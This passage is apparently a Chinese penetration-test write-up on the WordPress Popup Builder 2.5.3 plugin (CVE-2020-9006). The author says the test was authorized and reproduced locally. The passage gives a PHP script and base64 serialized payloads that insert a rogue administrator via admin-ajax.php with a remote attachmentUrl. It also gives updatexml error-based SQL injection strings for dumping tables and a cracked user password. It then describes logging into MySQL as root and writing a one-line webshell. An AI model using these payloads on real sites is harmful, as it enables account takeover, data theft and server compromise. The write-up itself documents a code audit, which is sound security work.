<?php $contents = array( 'customData' => array('users' => array( 0 => array('aaaa', '$BG3Bc6Y9Er4hAHVCBvTVkbs9HJ0lKk.', 'aaaa', 'aa@aa.com', 'https://aaa.cn', '0', 'aaaa', ) )), 'customTablesColumsName' => array('users' => array( 0 => array('Field' => 'user_login'), 1 => array('Field' => 'user_pass'), 2 => array('Field' => 'user_nicename'), 4 => array('Field' => 'user_email'), 5 => array('Field' => 'user_url'), 6 => array('Field' => 'user_status'), 7 => array('Field' => 'display_name'), ), ) ); $payload = base64_encode(serialize($contents)); echo $payload;
放到PHP环境下,访问可获得payload放到PHP环境下,访问可获得payloadPayload已经有了,现在需要知道如何请求这个函数,访问的URL是什么通过查看\wp-content\plugins\popup-builder\files\sg_popup_ajax.php文件中151行,也就是该函数完毕后的那一行WordPress的设计中add_action函数是用于添加动作的,回调函数就是我们刚刚分析的那个函数sgImportPopups(),而wp_ajax_import_popups是所挂载的动作(action)的名称,而add_action的定义是在wp-includes/plugin.php 文件中,其实还是调用了一次add_filter函数所以根据WordPress的规则,本插件该函数应该请求的URL的地址为:http://www.xxx.com/wp-admin/admin-ajax.php4漏洞利用之新增管理员通过以上分析,我们可以实现通过URL请求直接向数据库中的任意表中新增数据,所以这个漏洞利用危害比较大的应该就是增加超级管理员账号,也就是往wp_users表中新增数据(虽然我们现在已经进入后台了,这里只是为了验证该漏洞是否存在以及对我们代码审计出的结果进行验证)根据代码显示通过读取url里的内容,可以自定义数据内容,并且内容没有进行任何的处理及过滤就直接进入数据库进行INSERT构造新增管理员的payload,新增一个登录名叫aaaa密码为admin的超级管理员执行该脚本得到的payload为:ActionScriptYToyOntzOjEwOiJjdXN0b21EYXRhIjthOjE6e3M6NToidXNlcnMiO2E6MTp7aTowO2E6Nzp7aTowO3M6NDoiYWFhYSI7aToxO3M6MzQ6IiRQJEJHM0JjNlk5RXI0aEFIVkNCdlRWa2JzOUhKMGxLay4iO2k6MjtzOjQ6ImFhYWEiO2k6MztzOjk6ImFhQGFhLmNvbSI7aTo0O3M6MTQ6Imh0dHBzOi8vYWFhLmNuIjtpOjU7czoxOiIwIjtpOjY7czo0OiJhYWFhIjt9fX1zOjIyOiJjdXN0b21UYWJsZXNDb2x1bXNOYW1lIjthOjE6e3M6NToidXNlcnMiO2E6Nzp7aTowO2E6MTp7czo1OiJGaWVsZCI7czoxMDoidXNlcl9sb2dpbiI7fWk6MTthOjE6e3M6NToiRmllbGQiO3M6OToidXNlcl9wYXNzIjt9aToyO2E6MTp7czo1OiJGaWVsZCI7czoxMzoidXNlcl9uaWNlbmFtZSI7fWk6NDthOjE6e3M6NToiRmllbGQiO3M6MTA6InVzZXJfZW1haWwiO31pOjU7YToxOntzOjU6IkZpZWxkIjtzOjg6InVzZXJfdXJsIjt9aTo2O2E6MTp7czo1OiJGaWVsZCI7czoxMToidXNlcl9zdGF0dXMiO31pOjc7YToxOntzOjU6IkZpZWxkIjtzOjEyOiJkaXNwbGF5X25hbWUiO319fX0=
将该字符串保存为txt文件(别的文件也可以)存放另一台服务器上,拼装参数进行访问:ActionScriptaction=import_popups&attachmentUrl=http://192.168.27.1/wordpress-5.2.3/3.txt
action参数上面已经说到是一个hook,attachmentUrl参数就是该插件需要访问的url地址,执行结果如下:查看数据库,user表中已经新增另一个用户aaaa了5漏洞利用之SQL注入既然能够成功执行SQL语句,并且能新增管理员或者往其他数据表中插入数据,那么理论上这个地方也是存在SQL注入的,这里使用报错注入来尝试是否存在SQL注入,生成的payload的脚本如下:生成后的内容为:ActionScriptYToyOntzOjEwOiJjdXN0b21EYXRhIjthOjE6e3M6NToidXNlcnMiO2E6MTp7aTowO2E6Nzp7aTowO3M6NDoiYWFhYSI7aToxO3M6MzQ6IiRQJEJHM0JjNlk5RXI0aEFIVkNCdlRWa2JzOUhKMGxLay4iO2k6MjtzOjQ4OiJhYWFhJ29yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLCh1c2VyKCkpKSwwKSBvciciO2k6MztzOjk6ImFhQGFhLmNvbSI7aTo0O3M6MTQ6Imh0dHBzOi8vYWFhLmNuIjtpOjU7czoxOiIwIjtpOjY7czo0OiJhYWFhIjt9fX1zOjIyOiJjdXN0b21UYWJsZXNDb2x1bXNOYW1lIjthOjE6e3M6NToidXNlcnMiO2E6Nzp7aTowO2E6MTp7czo1OiJGaWVsZCI7czoxMDoidXNlcl9sb2dpbiI7fWk6MTthOjE6e3M6NToiRmllbGQiO3M6OToidXNlcl9wYXNzIjt9aToyO2E6MTp7czo1OiJGaWVsZCI7czoxMzoidXNlcl9uaWNlbmFtZSI7fWk6NDthOjE6e3M6NToiRmllbGQiO3M6MTA6InVzZXJfZW1haWwiO31pOjU7YToxOntzOjU6IkZpZWxkIjtzOjg6InVzZXJfdXJsIjt9aTo2O2E6MTp7czo1OiJGaWVsZCI7czoxMToidXNlcl9zdGF0dXMiO31pOjc7YToxOntzOjU6IkZpZWxkIjtzOjEyOiJkaXNwbGF5X25hbWUiO319fX0=
请求访问:该payload代入之后在数据库里执行的SQL语句为:ActionScriptINSERT INTO wp_users(user_login, user_pass, user_nicename, user_email, user_url, user_status, display_name) VALUES ('aaaa','$P$BG3Bc6Y9Er4hAHVCBvTVkbs9HJ0lKk.',''or updatexml(1,concat(0x7e,(user())),0) or '','aa@aa.com','https://aaa.cn','0','aaaa');
可以看出这里存在SQL注入,根据以上方法,继续爆库:爆表,这里如果直接使用以下语句,那么会报错,提示输出不止一个结果ActionScriptaaaa' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),0x7e),1) or '
所以,爆表的payload需要加limit来控制返回结果,通过控制Limit参数爆出所有的数据表ActionScriptaaa' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) or '
根据此方法,依次注入出wp_users表内容发现存在两个用户,其中一个是admin还有一个lixin的账户查询该账户的密码,密文为:$P$BjHS8QLdmCaTNiiQnvfuE730meyngJ0,解密后得到lixin的账户密码为:lixin@1236拿到WebShell因为已经进入后台了,所以其实这里注入出数据并没有什么作用,尝试过使用SQL写Shell但是并未成功,注入出来实在属于暂时没找到其他突破口,闲的无聊的情况下就将数据注入出来了,却没成想这却成为了后续测试的突破口通过端口扫描发现目标服务器开放3306端口,也就是Mysql是对外开放的最终使用账户root密码lixin@123成功登陆mysql数据库虽然已经拿到了Mysql的root权限,但是肯定不能就这么结束啊,继续寻找可以利用的点,使用Mysql的命令执行功能查看Mysql的安装路径,使用@@datadir函数查看由于本文章是在本地复现的,所以环境会有一定的差异,当时在做测试的时候,查看到的mysql路径是/root/lnmp/mysql下的目录,根据目录结构以及常规命名和使用习惯来说,最后通过测试,猜测到网站绝对路径为/root/lnmp/www目录,到此为止获得的东西为root权限的Mysql账户,网站绝对路径,尝试使用Mysql进行写shell使用查询写马的方式成功写入一句话木马,使用蚁剑或菜刀连接成功拿到WebShell本次测试到这里就结束了,由于授权的原因并没有进行后续的提权或者内网等操作7结语本文其实只是针对WoedPress的Popup Builder插件2.5.3版本,通过代码审计发现并利用了该插件的SQL注入漏洞,但是漏洞点其实还有一个反序列化,至于是否存在反序列化漏洞,当初在做测试的时候由于时间关系并没有去分析,所以这里暂不讨论后续通过在搜索引擎上检索居然发现该漏洞还存在一个CVE编号(CVE-2020-9006),这里如果早点发现该CVE编号,那么在代码审计的时候可以少走好多弯路,节省大量时间,所以在以后的项目中一定要注意信息收集,尽量全面、仔细(图片来源网络,侵删)
0 评论